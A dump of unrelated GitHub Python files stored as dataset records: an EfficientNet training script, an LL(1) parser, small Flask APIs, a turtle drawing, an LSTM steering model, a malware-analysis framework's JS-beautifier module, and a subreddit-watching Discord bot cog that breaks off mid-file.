+{"seq_id":"23242330739","text":"import os\nfrom typing import Tuple, Sequence, Callable\nimport csv\nimport numpy as np\nfrom PIL import Image\nimport torch\nimport torch.optim as optim\nfrom torch import nn, Tensor\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchinfo import summary\nfrom torchvision import transforms\nimport random\nfrom efficientnet_pytorch import EfficientNet\n\nseed = 0\nrandom.seed(seed)\nnp.random.seed(seed)\nos.environ[\"PYTHONHASHSEED\"] = str(seed)\ntorch.manual_seed(seed)\ntorch.cuda.manual_seed(seed)\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = True\n\n\nclass MnistDataset(Dataset):\n def __init__(\n self,\n dir: os.PathLike,\n image_ids: os.PathLike,\n transforms: Sequence[Callable]\n ) -> None:\n self.dir = dir\n self.transforms = transforms\n self.labels = {}\n\n with open(image_ids, 'r') as f:\n reader = csv.reader(f)\n next(reader)\n for row in reader:\n self.labels[int(row[0])] = list(map(int, row[1:]))\n\n self.image_ids = list(self.labels.keys())\n\n def __len__(self) -> int:\n return len(self.image_ids)\n\n def __getitem__(self, index: int) -> Tuple[Tensor]:\n image_id = self.image_ids[index]\n image = Image.open(\n os.path.join(\n self.dir, f'{str(image_id).zfill(5)}.png')).convert('RGB')\n\n target = np.array(self.labels.get(image_id)).astype(np.float32)\n\n if self.transforms is not None:\n image = self.transforms(image)\n\n return image, target\n\n\ntransforms_train = transforms.Compose([\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.RandomVerticalFlip(p=0.5),\n transforms.RandomAffine(random.randint(0, 360)),\n transforms.ColorJitter(contrast=(0.2, 3)),\n transforms.ToTensor(),\n transforms.Normalize(\n [0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225]\n )\n])\n\ntransforms_validation = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(\n [0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225]\n )\n])\n\ntransforms_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(\n [0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225]\n )\n])\n\ntrainset = MnistDataset('data/train', 'data/dirty_mnist_answer.csv', transforms_train)\nvalidationset = MnistDataset('data/validation', 'data/dirty_mnist_answer-validation.csv', transforms_test)\ntestset = MnistDataset('data/test', 'data/sample_submission.csv', transforms_test)\n\ntrain_loader = DataLoader(trainset, batch_size=8, num_workers=2)\nvalidation_loader = DataLoader(validationset, batch_size=8, num_workers=2)\ntest_loader = DataLoader(testset, batch_size=8, num_workers=2)\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nprint(device)\n\nmodel = EfficientNet.from_pretrained(\"efficientnet-b7\", num_classes=26)\nmodel = nn.DataParallel(model).to(device)\nprint(summary(model, input_size=(1, 3, 256, 256), verbose=0))\n\noptimizer = optim.Adam(model.parameters(), lr=1e-3)\ncriterion = nn.MultiLabelSoftMarginLoss()\n\nnum_epochs = 60\n\nmodel.train()\ntest_result = [] # validation 결과 모아서 보기\n\npath = \"./efficientnets/\"\n\nfor epoch in range(num_epochs):\n for i, (images, targets) in enumerate(train_loader):\n optimizer.zero_grad()\n\n images = images.to(device)\n targets = targets.to(device) \n outputs = model(images)\n \n loss = criterion(outputs, targets)\n loss.backward()\n optimizer.step()\n \n if (i+1) % 10 == 0: \n outputs = outputs > 0.5\n acc = (outputs == targets).float().mean()\n print(f'{epoch}: {loss.item():.5f}, {acc.item():.5f}')\n\n model.eval()\n batch_size = test_loader.batch_size\n batch_index = 0\n valid_count = 0\n\n for i, (images, targets) in enumerate(validation_loader):\n images = images.to(device)\n targets = targets.to(device)\n outputs = model(images)\n loss = criterion(outputs, targets)\n result = str(epoch) + \" : \" + str(loss.item())\n test_result.append(result)\n outputs = outputs > 0.5\n batch_index = i * batch_size\n acc = (outputs == targets).float().mean()\n \n \n valid_count += 1\n if valid_count == 5:\n break\n\n print(\"valid\", f'{epoch}: {loss.item():.5f}, {acc.item():.5f}')\n\n torch.save(model, path+\"epoch\"+str(epoch)+\".pt\")\n model.train()\n \nprint(test_result)","repo_name":"Dacon-ISYS/Dacon-Dirty-Alphabet-Mnist","sub_path":"save_per_epoch_efficientnet.py","file_name":"save_per_epoch_efficientnet.py","file_ext":"py","file_size_in_byte":4494,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"14299226684","text":"from invalid_symbol_error import InvalidSymbolError\nfrom ll1_table import terminals, table\nfrom sys import argv\n\nclass Parser():\n\n def __init__(self, table, terminals):\n self.table = table\n self.variables = list(table.keys())\n self.terminals = terminals # make this simple, and just find the lowercase things\n\n def get_terminals(self):\n return self.terminals\n\n def get_variables(self):\n return self.variables\n\n def __format_string(self, string):\n return string.replace(' ', '').replace('\\n', '') + '$'\n\n def validate(self, string):\n string = self.__format_string(string)\n\n if len(list(filter(lambda input_char : input_char not in self.terminals, string[:len(string)-1]))) != 0:\n raise InvalidSymbolError(\"ERROR_INVALID_SYMBOL\")\n\n stack = [\"$\", \"S\"]\n for i, char in enumerate(string):\n\n print('{:<25} {}'.format(string[i:], ''.join(stack[::-1])))\n\n if len(stack) == 0:\n return False # unread input\n\n # apply production rules until top of stack is no longer a variable\n while stack[-1] in self.variables:\n production = self.table[stack[-1]].get(char, None)\n if production is None:\n return False\n else:\n stack.pop()\n # push right hand side of productions to stack, ignore '' (epsilon)\n stack.extend(list(filter(lambda alpha : alpha != '', production))[::-1])\n\n print('{:<25} {}'.format(string[i:], ''.join(stack[::-1])))\n\n if stack[-1] in self.terminals and stack[-1] == char:\n stack.pop()\n else:\n return stack[-1] == char and stack[-1] == '$' and stack[-1] not in self.terminals\n\n return False\n\n\n\n\ndef main():\n\n if len(argv) < 2:\n print(\" File path to string required as argument\")\n quit()\n\n parser = Parser(table, terminals)\n\n try:\n string = open(argv[1]).read().replace('\\n', '').replace(\" \", \"\")\n except FileNotFoundError as e:\n print(\"Invalid file path\")\n quit()\n except Exception as e:\n print(e.__repr__())\n quit()\n\n try:\n print(\"ACCEPTED\") if parser.validate(string) else print(\"REJECTED\")\n except InvalidSymbolError as e:\n print(e.__str__())\n except Exception as e:\n print(e.__repr__())\n return\n\nif __name__ == '__main__':\n main()\n","repo_name":"EricNRodriguez/LL-1-Table-Driven-Parser","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"43616498199","text":"\"\"\"\nTests relating to record metadata.\n\n- Setting the 'outcome' attribute.\n\"\"\"\nimport os\nimport sys\nfrom pathlib import Path\nos.chdir(Path(__file__).parent)\nfrom utils_for_testing import clean_project\n\ndef test_outcome():\n\n projectroot = Path(__file__).parent/\"test_project\"\n projectpath = str(projectroot.absolute())\n if str(projectpath) not in sys.path:\n sys.path.insert(0, projectpath)\n\n # Clear the runtime directory and cd into it\n clean_project(projectroot)\n os.makedirs(projectroot/\"data\", exist_ok=True)\n os.chdir(projectroot)\n\n # Define a task which takes different outcomes\n from tasks import Polar\n task_succeed = Polar(x=1, y=0, reason=\"pytest\")\n task_undefined = Polar(x=0, y=0, reason=\"pytest\")\n\n task_succeed.run()\n task_undefined.run()\n\n from smttask.view import RecordStoreView\n RecordStoreView.default_project_dir = projectpath\n recordlist = RecordStoreView().list\n # Most recent records come first\n assert \"undefined\" in recordlist[0].outcome\n assert \"undefined\" not in recordlist[1].outcome\n","repo_name":"alcrene/smttask","sub_path":"tests/test_metadata.py","file_name":"test_metadata.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"66"}
+{"seq_id":"8739564130","text":"# Short Version\r\nimport turtle\r\nimport random\r\nimport subprocess\r\ns = turtle.getscreen()\r\ns.setup(width=1000, height=1000)\r\nt = turtle\r\n\r\nt.penup()\r\nt.goto(0,-400)\r\nt.pendown()\r\nt.speed(1) # This is the slowest that it will draw\r\n\t\t# Speeds go 1 to 10, and then supefast is zero\r\nt.pensize(5)\r\nt.circle(420)\r\nt.pensize(2)\r\nt.speed(0) # This is the fastest that it will draw\r\nt.left(90)\r\nt.forward(380)\r\nt.right(90)\r\nt.circle(40, 22.5)\r\n\r\nfor i in range(15): # This is a function that gets repeated 15 times\r\n\t\t\t\t\t# that way you don't have to copy the code 15-times...☺\r\n\tt.right(90)\r\n\tt.forward(380)\r\n\tt.left(180)\r\n\tt.forward(380)\r\n\tt.right(90)\r\n\tt.circle(40, 22.5)\r\n\r\nt.right(90)\r\nt.forward(340)\r\nt.left(90)\r\nt.circle(380)\r\n\r\nt.done()","repo_name":"Chrisdontm/Short_Version","sub_path":"Short version.py","file_name":"Short version.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"74552114769","text":"# main.py\nfrom flask import Flask, request, jsonify\nfrom application.campaign_service import CampaignService\nfrom infrastructure.adapters.firebase_campaign_repository import FirebaseCampaignRepository\n\napp = Flask(__name__)\ncampaign_repository = FirebaseCampaignRepository()\ncampaign_service = CampaignService(campaign_repository)\n\n@app.route('/backoffice/campaigns/newCampaign', methods=['POST'])\ndef create_campaign():\n try:\n campaign_data = request.get_json()\n print(\"DATA :\", campaign_data)\n campaign_service.create_campaign(campaign_data)\n return jsonify({'status': 'success', 'data': campaign_data}), 201\n except Exception as e:\n print(f\"Error creating campaign: {e}\")\n return jsonify({'status': 'error', 'message': 'Internal Server Error'}), 500\n\n@app.route('/backoffice/campaigns/update/', methods=['PATCH'])\ndef update_campaign(campaign_id):\n try:\n campaign_data = request.get_json()\n campaign_service.update_campaign(campaign_id, campaign_data)\n return jsonify({'status': 'success', 'message': 'Campaign updated successfully.'}), 200\n except Exception as e:\n print(f\"Error updating campaign: {e}\")\n return jsonify({'status': 'error', 'message': 'Internal Server Error'}), 500\n \n@app.route('/backoffice/campaign/', methods=['GET'])\ndef get_campaign(campaign_id):\n try:\n campaign = campaign_service.get_campaign(campaign_id)\n if campaign:\n return jsonify({'status': 'success', 'data': campaign}), 200\n else:\n return jsonify({'status': 'not found', 'message': 'Campaign not found'}), 404\n except Exception as e:\n print(f\"Error retrieving campaign: {e}\")\n return jsonify({'status': 'error', 'message': 'Internal Server Error'}), 500 \n \n@app.route('/backoffice/campaign/', methods=['GET'])\ndef get_all_campaigns():\n try:\n campaigns = campaign_service.get_all_campaigns()\n return jsonify({'status': 'success', 'data': campaigns}), 200\n except Exception as e:\n print(f\"Error retrieving campaigns: {e}\")\n return jsonify({'status': 'error', 'message': 'Internal Server Error'}), 500 \nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=True)\n","repo_name":"LuiggiPasacheL/CanjeXpress_G4","sub_path":"backend/backoffice/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"5720119972","text":"\ndef SieveOfEratosthenes(num):\n res = []\n boolArr = [True for _ in range(num+1)]\n val = 2\n while val*val <= num:\n if boolArr[val]:\n for p in range(val*val,num+1,val):\n boolArr[p] = False\n val += 1\n for p in range(2,num+1):\n if boolArr[p] == True:\n res.append(p)\n return res\n\nif __name__=='__main__':\n print(SieveOfEratosthenes(20))","repo_name":"chaitanyatyagi/Important-Algorithms","sub_path":"Basic-Algo/sieve_of_eratosthenes.py","file_name":"sieve_of_eratosthenes.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"33541519860","text":"#from flask import Flask, request, jsonify\nfrom flask import Flask,request,jsonify\nfrom flask_cors import CORS\nfrom nosql import *\n\n#crea una instancia de la clase Flask\nservidor = Flask(__name__)\nCORS(servidor)\n\n#---[Prueba]--------------------------\n@servidor.route(\"/prueba\")\ndef prueba():\n return \"Ok, exito en el servidor\"\n\n#---[GET] : consultar ----------------\n@servidor.route(\"/mas_recientes\", methods=['GET'])\ndef consultaProductos():\n #datos = {'respuesta': 'Por implementar'}\n nosql = NOSQL()\n datos = nosql.consultar('productos')\n\n return jsonify({'message': 'Proceso con exito',\n 'object': 'list to dictionary',\n 'data': datos}),200\n\n#---[POST] : adicionar ---------------\n@servidor.route(\"/mas_recientes\", methods=['POST'])\ndef adicionarProductos():\n datos = request.json\n\n nosql = NOSQL()\n nosql.insert('productos', datos['codigo'], datos)\n\n #print(datos)\n return jsonify({'message': 'Proceso con exito',\n 'object': 'text',\n 'data': 'Ok'}),200\n\n#---[Update] : Actualziar\n@servidor.route(\"/mas_recientes\", methods=['PUT'])\ndef actualizarProductos():\n nosql = NOSQL()\n datos = request.json\n nosql.update('productos',datos['codigo'],'precio', datos['precio']) \n #print(datos)\n return jsonify({'message': 'Proceso con exito',\n 'object': 'text',\n 'data': 'Ok'}),200 \n\n#-------------------------------------\nif __name__ == '__main__':\n servidor.run(debug=True)\n\n","repo_name":"David-ctrlDev/apipy","sub_path":"servidor/servidor.py","file_name":"servidor.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74594434407","text":"from torch import nn\n\nfrom ..model.take_first_module import TakeFirst\n\n\n# A PyTorch LSTM model designed for computing a steering angle based on\n# a constantly changing line of best fit of the center of the road\n# Created by brendon-ai, January 2018\n\n\n# Main function to create model using the number of training timesteps\ndef lstm_steering_model():\n # Create the neural network model using an LSTM followed by fully connected layers\n model = nn.Sequential(\n nn.LSTM(input_size=2, hidden_size=10, num_layers=1),\n TakeFirst(),\n nn.ReLU(),\n nn.Linear(10, 4),\n nn.ReLU(),\n nn.Linear(4, 1)\n )\n\n return model\n","repo_name":"bfmat/LaneDetection","sub_path":"model/lstm_steering_model.py","file_name":"lstm_steering_model.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"53"}
+{"seq_id":"6332936471","text":"import pickle\nimport numpy as np\n\nmodel_file_ben = \"wrapper2/ben_r2_0828.mdr\"\nload_ben = pickle.load(open(model_file_ben, 'rb'))\n\nx = load_ben.__reduce__()\n\nes = load_ben.estimators_\n\ndef val_fmt(x):\n if isinstance(x, str):\n return x\n return float(\"{0:.4f}\".format(x))\n\nimport json\n\n\ntrees = []\nfor esi in es:\n # print(esi.tree_.__reduce__())\n d = esi.tree_.__getstate__()\n nodes = d['nodes']\n for nodei in nodes:\n nodei['lb'] = list(map(lambda xi: val_fmt(xi), nodei['lower_bounds'].tolist()))\n nodei['ub'] = list(map(lambda xi: val_fmt(xi), nodei['upper_bounds'].tolist()))\n nodei['ta'] = val_fmt(\"inf\" if nodei['tau'] == np.inf else nodei['tau'])\n nodei['vr'] = val_fmt(nodei['variance'])\n nodei['lc'] = nodei['left_child']\n nodei['rc'] = nodei['right_child']\n nodei['f'] = nodei['feature']\n nodei['th'] = val_fmt(nodei['threshold'])\n\n del nodei['lower_bounds']\n del nodei['upper_bounds']\n del nodei['tau']\n del nodei['variance']\n del nodei['left_child']\n del nodei['right_child']\n del nodei['feature']\n del nodei['threshold']\n\n del nodei['impurity']\n del nodei['n_node_samples']\n del nodei['weighted_n_node_samples']\n\n values = d['values']\n d['values'] = [val_fmt(di[0][0]) for di in values]\n trees.append(d)\n\njstr = json.dumps(trees)\n\nwith open('wrapper2/ben_r2_0828_2.mdr.json', 'w') as f:\n f.write(jstr)\n","repo_name":"wlu-mstr/mondrianforest-regression-prediction","sub_path":"src/main/resources/pickle_to_json.py","file_name":"pickle_to_json.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"2316567407","text":"\"\"\"\nJsBeautifier Docker class\n\n\"\"\"\n\n__author__ = \"Valentin Giannini\"\n__copyright__ = \"Copyright 2016, LAMA\"\n__credits__ = [\"\"]\n__license__ = \"GPL\"\n__version__ = \"3\"\n__maintainer__ = \"Valentin Giannini - CSE Team\"\n__email__ = \"cse.contact -at- post.lu\"\n__status__ = \"Production\"\n\n\nimport json\nimport base64\n\nfrom html import escape\n\nfrom lama.utils.type import Type\nfrom lama.analyzer.module import Module\nfrom lama.analyzer.docker_module import DockerModule\nfrom lama.models.indicator import Indicator\n\n\nclass JsBeautifierDocker(DockerModule):\n \"\"\"JsBeautifierDocker class\n\n Args :\n **malware** (malware) : Malware which will be analyzed\n \"\"\"\n\n _module_name = \"JS Beautifier\"\n\n def __init__(self, malware, local_path):\n super().__init__(\"JS Beautifier\", malware, local_path, \"jsbeautifier\")\n\n @Module.dec_parse_result\n def parse_result(self):\n \"\"\"\n Abstract parse_result method.\n It calls when analyze is finished.\n It uptade malware with indicators.\n \"\"\"\n if not self._result:\n return\n\n json_jsbeautify = self.json_decode(self._result)\n if not json_jsbeautify:\n return\n\n if 'code' in json_jsbeautify:\n indicator = Indicator.factory(module_cls_name=self.module_cls_name,\n name=\"code\",\n content_type=Type.BASE64,\n content=json_jsbeautify[\"code\"],\n score=0)\n self._malware.get_module_status(self.module_cls_name\n ).add_indicator(indicator)\n if 'error' in json_jsbeautify:\n indicator = Indicator.factory(module_cls_name=self.module_cls_name,\n name=\"error\",\n content_type=Type.BASE64,\n content=json_jsbeautify[\"error\"],\n score=-1)\n self._malware.get_module_status(self.module_cls_name\n ).add_indicator(indicator)\n\n def html_report(content):\n html = \"\"\n for item in content:\n if item.name == \"code\":\n html += \"
{}\".format(escape(base64.b64decode(item.content).decode('utf-8')))\n elif item.name == \"error\":\n html += \"
{}\".format(escape(base64.b64decode(item.content).decode('utf-8')))\n else:\n html += \"LAMA PARSE ERROR\"\n html += \"
\"\n return html\n","repo_name":"post-cyberlabs/lama","sub_path":"lama/analyzer/modules/jsbeautifier_docker.py","file_name":"jsbeautifier_docker.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"}
+{"seq_id":"30724164499","text":"from datetime import timedelta, datetime\nimport logging\nfrom typing import List, Dict, Sequence, Set, Iterable, Tuple, AsyncGenerator\n\nimport discord\nfrom discord.ext import commands\n\nfrom kaztron import KazCog, task\nfrom kaztron.config import SectionView\nfrom kaztron.driver import reddit\nfrom kaztron.utils.checks import mod_only\nfrom kaztron.utils.containers import FifoCache\nfrom kaztron.utils.datetime import format_timedelta, utctimestamp\n\nfrom kaztron.utils.embeds import EmbedSplitter\nfrom kaztron.utils.strings import format_list, natural_truncate\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_reddit_scopes():\n return 'identity', 'read'\n\n\nclass SubwatchConfig(SectionView):\n \"\"\"\n :ivar reddit_username: Username to use. If not specified, will use the first logged-in user.\n :ivar check_interval: How often to check a subreddit for new posts.\n :ivar min_post_interval: Minimum time between posts to Discord.\n If more than max_posts_per_interval new Reddit posts are detected, they will be queued up\n and posted at this interval.\n :ivar max_posts_per_interval: Maximum number of Reddit posts to post to Discord at a time. If\n more Reddit posts are detected, they will be queued up and posted every min_post_interval.\n \"\"\"\n reddit_username: str\n check_interval: timedelta\n min_post_interval: timedelta\n max_posts_per_interval: int\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.set_converters('check_interval', self._get_timedelta, self._set_timedelta)\n self.set_converters('min_post_interval', self._get_timedelta, self._set_timedelta)\n\n @staticmethod\n def _get_timedelta(seconds: int):\n return timedelta(seconds=seconds)\n\n @staticmethod\n def _set_timedelta(d: timedelta):\n return d.total_seconds()\n\n\nclass SubwatchChannel:\n def __init__(self, *,\n subreddits: Sequence[str],\n queue: List[str]=tuple(),\n last_posted: datetime):\n self.subreddits = tuple(subreddits)\n self.queue = list(queue)\n self.last_posted = last_posted\n\n def to_dict(self):\n return {\n 'subreddits': self.subreddits,\n 'queue': self.queue,\n 'last_posted': utctimestamp(self.last_posted)\n }\n\n @staticmethod\n def from_dict(data: dict):\n return SubwatchChannel(subreddits=data['subreddits'], queue=data.get('queue', []),\n last_posted=datetime.utcfromtimestamp(data['last_posted']))\n\n\nclass SubwatchState(SectionView):\n \"\"\"\n :ivar queue: Queue of reddit submission IDs for each Discord channel.\n :ivar watch: Discord channels and the subreddit(s) they subwatch.\n \"\"\"\n channels: Dict[discord.Channel, SubwatchChannel]\n last_checked: datetime\n no_results_count: int\n cog: KazCog\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.__dict__['cog'] = None\n self.set_converters('channels', self._get_channels, self._set_channels)\n self.set_converters('last_checked', datetime.utcfromtimestamp, utctimestamp)\n\n def set_cog(self, cog: KazCog):\n self.__dict__['cog'] = cog\n\n def _get_channels(self, data: Dict[str, dict]):\n return {self.cog.get_channel(key): SubwatchChannel.from_dict(channels_dict)\n for key, channels_dict in data.items()}\n\n @staticmethod\n def _set_channels(data: Dict[discord.Channel, SubwatchChannel]):\n return {ch.id: sub.to_dict() for ch, sub in data.items()}\n\n\nclass RedditStreamManager:\n \"\"\"\n Helps manage and cache the submissions stream. Also manages stream failures (e.g. when the\n last retrieved post is deleted, the stream may return no results instead of the latest results\n since the last query).\n\n :param reddit: Reddit instance to use\n :param subreddits: List of subreddit names to check\n :param renewal_threshold: Number of times the stream is checked with no results before\n automatically refreshing (i.e. assumed stream failure).\n \"\"\"\n def __init__(self,\n reddit_: reddit.Reddit,\n subreddits: Iterable[str],\n renewal_threshold=5,\n cache_expiry=180):\n self.reddit = reddit_\n\n self._subreddits = tuple(subreddits)\n self._stream = None\n self._is_fresh = True\n self.no_result_count = 0\n self.renewal_threshold = renewal_threshold\n\n self.submission_cache = FifoCache() # type: Dict[str, Tuple[reddit.models.Submission, int]]\n self.cache_expiry_delta = cache_expiry\n\n @property\n def subreddits(self):\n \"\"\"\n List of subreddit names for this stream. If this list is modified, the stream is refreshed.\n \"\"\"\n return self._subreddits\n\n @subreddits.setter\n def subreddits(self, subreddits: Iterable[str]):\n self._subreddits = tuple(subreddits)\n self.refresh()\n\n @property\n def is_fresh(self):\n \"\"\"\n True if the stream is fresh, i.e., will return a backlog. This property remains true until\n the stream has iterated through the first set of responses from the API, i.e.,\n :meth:`~.stream` has iterated through to its end.\n \"\"\"\n return self._is_fresh\n\n async def stream(self) -> AsyncGenerator[reddit.models.Submission, None]:\n \"\"\"\n Generator of new reddit posts. Should be async iterated.\n\n After a :meth:`~.refresh()`, setting :attr:`~.subreddits`, or hitting the\n :attr:`~.renewal_threshold`, this will load a number of recent posts instead of restarting\n from the latest post.\n \"\"\"\n has_results = False\n if self.is_fresh:\n sr = await self.reddit.subreddit(display_name='+'.join(self.subreddits))\n self._stream = sr.stream.submissions(pause_after=0)\n\n async for submission in self._stream:\n if submission is None:\n if has_results:\n self.no_result_count = 0\n else:\n self.no_result_count += 1\n break\n has_results = True\n self.submission_cache[submission.id] = (submission, utctimestamp(datetime.utcnow()))\n yield submission\n\n self._is_fresh = False\n if self.no_result_count >= self.renewal_threshold:\n self.refresh()\n\n def refresh(self):\n self._stream = None\n self._is_fresh = True\n\n async def get_submission(self, reddit_id: str) -> reddit.models.Submission:\n \"\"\"\n Get the submission from cache or from the reddit API (if not in cache or expired).\n :param reddit_id:\n :return:\n :raise reddit.DeletedError: submission is removed/deleted\n \"\"\"\n try:\n s, load_time = self.submission_cache[reddit_id]\n if utctimestamp(datetime.utcnow()) - load_time > self.cache_expiry_delta:\n await s.load()\n self.submission_cache[reddit_id] = (s, utctimestamp(datetime.utcnow()))\n except KeyError:\n s = await self.reddit.submission(reddit_id)\n self.submission_cache[reddit_id] = (s, utctimestamp(datetime.utcnow()))\n\n if getattr(s, 'removed_by_category', None) is not None:\n raise reddit.DeletedError(s, s.removed_by_category)\n elif not getattr(s, 'is_robot_indexable', True):\n raise reddit.DeletedError(s, 'unknown')\n return s\n\n\nclass QueueManager:\n \"\"\"\n Manage a queue of subreddit posts found and not yet posted.\n\n Note: this class's methods will not mark dirty or write the state file. All mutating methods\n should be called under `with self.cog_state:` contexts to ensure the file is properly updated.\n \"\"\"\n\n def __init__(self, state: SubwatchState):\n self.state = state\n\n def add(self, submission: reddit.models.Submission):\n \"\"\" Add a submission to the queue. \"\"\"\n for ch, ch_info in self.state.channels.items():\n if submission.subreddit.display_name.lower() in ch_info.subreddits:\n ch_info.queue.append(submission.id)\n\n def pop(self, channel: discord.Channel) -> str:\n \"\"\"\n Pop a reddit ID off the channel's queue.\n :raise IndexError: Nothing in queue\n :raise KeyError: Channel is not configured for SubWatch\n \"\"\"\n return self.state.channels[channel].queue.pop(0)\n\n def queue_length(self, channel: discord.Channel) -> int:\n \"\"\"\n Get the length of the a given channel's queue.\n :raise KeyError: Channel is not configured for SubWatch\n \"\"\"\n return len(self.state.channels[channel].queue)\n\n\nclass Subwatch(KazCog):\n \"\"\"!kazhelp\n category: Automation\n brief: Announce new reddit posts in a channel.\n description: |\n This module monitors one or more subreddits and announces new posts to Discord channels.\n\n It is configured to check every {{check_interval}}. It will post a maximum of\n {{max_posts_per_interval}} posts at a time every {{min_post_interval}}, to avoid flooding\n a Discord channel; otherwise, it will queue posts.\n contents:\n - subwatch\n - add\n - reset\n - rem\n \"\"\"\n cog_config: SubwatchConfig\n cog_state: SubwatchState\n\n #####\n # Lifecycle\n #####\n\n def __init__(self, bot):\n super().__init__(bot, 'subwatch', SubwatchConfig, SubwatchState)\n self.cog_config.set_defaults(\n reddit_username=None,\n check_interval=60,\n min_post_interval=300,\n max_posts_per_interval=2,\n )\n self.cog_state.set_defaults(\n channels=dict(),\n last_checked=utctimestamp(datetime.utcnow()),\n no_results_count=0\n )\n self.reddit = None # type: reddit.Reddit\n self.stream_manager = None # type: RedditStreamManager\n self.queue_manager = None # type: QueueManager\n\n async def on_ready(self):\n await super().on_ready()\n self.cog_state.set_cog(self)\n _ = self.cog_state.channels # convert and validate\n self.reddit = reddit.RedditLoginManager().get_reddit(self.cog_config.reddit_username)\n self.stream_manager = RedditStreamManager(self.reddit, self._get_all_subreddits())\n self.queue_manager = QueueManager(self.cog_state)\n\n logger.info(\"Using reddit account: {}\".format((await self.reddit.user.me()).name))\n\n if not self.scheduler.get_instances(self.task_check_reddit):\n delay = timedelta(seconds=15)\n interval = self.cog_config.check_interval\n self.scheduler.schedule_task_in(self.task_check_reddit, delay, every=interval)\n\n def export_kazhelp_vars(self):\n return {\n 'check_interval': format_timedelta(self.cog_config.check_interval),\n 'min_post_interval': format_timedelta(self.cog_config.min_post_interval),\n 'max_posts_per_interval': str(self.cog_config.max_posts_per_interval)\n }\n\n def unload_kazcog(self):\n self.scheduler.cancel_all(self.task_check_reddit)\n self.scheduler.cancel_all(self.task_process_queue)\n\n #####\n # Core\n #####\n\n @staticmethod\n def log_submission(submission: reddit.models.Submission) -> str:\n \"\"\" Format submission info in short form for logs. \"\"\"\n return \"{0.id} on {0.subreddit.display_name} (\\\"{1}\\\")\".format(\n submission, natural_truncate(submission.title, 50)\n )\n\n def _get_all_subreddits(self) -> Set[str]:\n \"\"\" Get the set of all subreddits being watched across all channels. \"\"\"\n subreddits = set()\n for channel, data in self.cog_state.channels.items():\n subreddits.update(data.subreddits)\n return subreddits\n\n async def _post_all_channels(self):\n for channel in self.cog_state.channels.keys():\n await self._post_from_queue(channel)\n\n def schedule_post_from_queue(self, channel: discord.Channel):\n \"\"\"\n If it's too early to post from the queue into this Discord channel, schedules it for later\n and return True. Otherwise, does nothing and return False.\n\n If a posting task for this channel is already scheduled for later, returns True.\n :param channel:\n :return: True if scheduled later, False if not (channel can post now)\n \"\"\"\n # check if already scheduled\n for task_instance in self.scheduler.get_instances(self.task_process_queue):\n if task_instance.args[0] == channel:\n return True\n\n ch_info = self.cog_state.channels[channel]\n next_post_time = ch_info.last_posted + self.cog_config.min_post_interval\n if ch_info.queue and datetime.utcnow() < next_post_time:\n logger.warning(\"Too early to post in #{}: scheduling for later.\".format(channel.name))\n self.scheduler.schedule_task_at(\n task=self.task_process_queue,\n dt=next_post_time,\n args=(channel,)\n )\n return True\n return False\n\n async def _post_from_queue(self, channel: discord.Channel):\n \"\"\"\n Post any queued messages in the channel. This respects the minimum interval between discord\n posts and maximum number of posts per interval configuration settings, and will schedule\n the :meth:`~.task_process_queue` for later if there are too many queued posts.\n\n :param channel: Channel to post in.\n \"\"\"\n # too early to post - do it later\n if self.schedule_post_from_queue(channel):\n return\n\n ch_info = self.cog_state.channels[channel]\n count = 0\n try:\n while count < self.cog_config.max_posts_per_interval:\n try:\n submission_id = self.queue_manager.pop(channel)\n submission = await self.stream_manager.get_submission(submission_id)\n except reddit.DeletedError as e:\n logger.warning(\"Skipping deleted or removed post: {}\"\n .format(self.log_submission(e.args[0])))\n continue\n\n try:\n await self._send_submission(channel, submission)\n except (AttributeError, TypeError, ValueError) as e:\n logger.exception(\"Error posting submission: {}\"\n .format(self.log_submission(submission)))\n await self.send_message(channel, \"Subwatch: Error posting post: {}\"\n .format(submission.id))\n await self.send_output(\"[ERROR] Subwatch: Error posting post in #{}: {}\"\n .format(channel.name, submission.id))\n continue\n count += 1\n except IndexError: # we don't have enough in queue to post; that's fine\n pass\n else: # we did post something\n ch_info.last_posted = datetime.utcnow()\n\n async def _send_submission(self,\n channel: discord.Channel,\n submission: reddit.models.Submission):\n \"\"\" Post a submission to a channel. \"\"\"\n logger.info(\"Posting to #{}: {}\".format(channel.name, self.log_submission(submission)))\n tags = []\n if submission.link_flair_text:\n tags.append(f'[{submission.link_flair_text}]')\n if submission.is_original_content:\n tags.append('[OC]')\n subreddit = '/r/{0}'.format(submission.subreddit.display_name)\n\n desc_parts = [''.join(tags)]\n if submission.is_self:\n 